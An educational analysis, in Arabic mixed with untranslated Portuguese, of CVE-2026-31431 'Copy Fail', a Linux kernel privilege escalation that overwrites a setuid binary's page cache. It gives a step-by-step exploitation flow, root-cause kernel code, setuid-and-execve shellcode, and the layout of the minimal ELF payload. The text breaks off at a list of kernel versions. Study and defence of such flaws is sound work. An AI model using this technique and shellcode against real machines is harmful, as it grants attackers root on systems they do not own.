
تحليل تعليمي لـ CVE-2026-31431، وهو تصعيد محلي للامتيازات في نواة لينكس عبر عملية AF_ALG AEAD في المكان، بما في ذلك السبب الجذري التقني والكشف والتخفيف.
تحليل تقني تعليمي لواحدة من أكثر الثغرات الأمنية أهمية في نواة لينكس منذ Dirty Pipe (2022).
هذا المستودع مخصص لـالبحث والدراسة والدفاع. لا يتم توزيع أي استغلال (exploit) عملي هنا.
CVE-2026-31431، الملقبة بـ Copy Fail، هي ثغرة تصعيد صلاحيات محلي (LPE — Local Privilege Escalation) في نواة لينكس. تسمح لأي مستخدم بدون صلاحيات بالحصول على وصول root في غضون ثوانٍ.
| السمة | القيمة |
|---|---|
| CVE | CVE-2026-31431 |
| درجة CVSS | 7.8 HIGH |
| النوع | تصعيد صلاحيات محلي (LPE) |
| النظام الفرعي | crypto/algif_aead.c — AF_ALG |
| أُدخلت في | النواة 4.14 (commit 72548b093ee3, يوليو 2017) |
| صُححت في | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| اكتُشفت بواسطة | Taeyang Lee — Theori / Xint Code |
| الإفصاح العام | 29 أبريل 2026 |
| PoC عام | نعم — سكربت Python بحجم ~732 بايت |
تخيل أن نظام التشغيل لديه ذاكرة عمل (تسمى page cache) يخزن فيها نسخًا من الملفات التي يتم استخدامها. عندما تنفذ برنامجًا، يقوم النظام بتحميل هذا البرنامج في تلك الذاكرة وينفذه من هناك — وليس مباشرة من القرص.
تسمح Copy Fail لمستخدم عادي بتعديل تلك النسخة في الذاكرة لبرنامج خاص (ملف ثنائي setuid، مثل الأمر su) دون لمس الملف الأصلي على القرص. يبقى الملف على القرص سليمًا، لكن عند تنفيذ البرنامج، يقرأ النظام النسخة التالفة من الذاكرة.
إنه مثل تبديل وصفة طبق في ذاكرة طاهٍ بينما هو يطبخ — كتاب الوصفات الأصلي لا يتغير، لكن الطبق الذي يخرج مختلف تمامًا.
النتيجة: البرنامج التالف ينفذ كود المهاجم بصلاحيات root.
ما يجعل هذا خطيرًا بشكل خاص:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## كيف يعمل تقنيًا
### نظرة عامة على التدفق```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
الخلل موجود في crypto/algif_aead.c. في عام 2017، تم تحويل عملية AEAD إلى العمل في المكان لتحسين الأداء:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
خوارزمية `authencesn` تستخدم المخزن المؤقت الهدف كمساحة عمل مؤقتة لإعادة ترتيب بايتات رقم التسلسل الموسع (ESN) الخاص بـ IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
تتجاوز الكتابة نظام الملفات الافتراضي (VFS) تمامًا. الصفحة المعدّلة لا تُعلَّم أبدًا كـ dirty بواسطة آلية الكتابة الخلفية (writeback) في النواة. يبقى الملف على القرص سليمًا. أدوات التحقق من التكامل القائمة على التجزئة (aide, tripwire, inotifywait) لا تكتشف شيئًا لأنها تراقب القرص، وليس ذاكرة التخزين المؤقت للصفحات (page cache).
يضمّن الاستغلال ملف ELF مصغّرًا بحجم 160 بايت مضغوطًا بـ zlib. بعد فك الضغط، يكون الجزء القابل للتنفيذ:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**بنية ELF الأدنى (إجمالي 160 بايت):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |
|---|---|---|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| النوع | حالة سباق في CoW | مخزن الأنابيب بدون علامات | خطأ منطقي في AEAD |
| الموثوقية | يعتمد على السباق (~مللي ثانية) | حتمي | حتمي |
| أثر على القرص | نعم (صفحات متسخة) | لا | لا |
| قابلية النقل | واسعة | إصدارات محددة | شامل (2017–2026) |
| حجم الإثبات | ~50 سطرًا بلغة C | ~40 سطرًا بلغة C | ~10 أسطر بلغة Python |
| النظام الفرعي | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| الاكتشاف | يدوي | يدوي | بمساعدة الذكاء الاصطناعي |
| نافذة الاستغلال | نافذة سباق | لا توجد | لا توجد |
إصدارات النواة: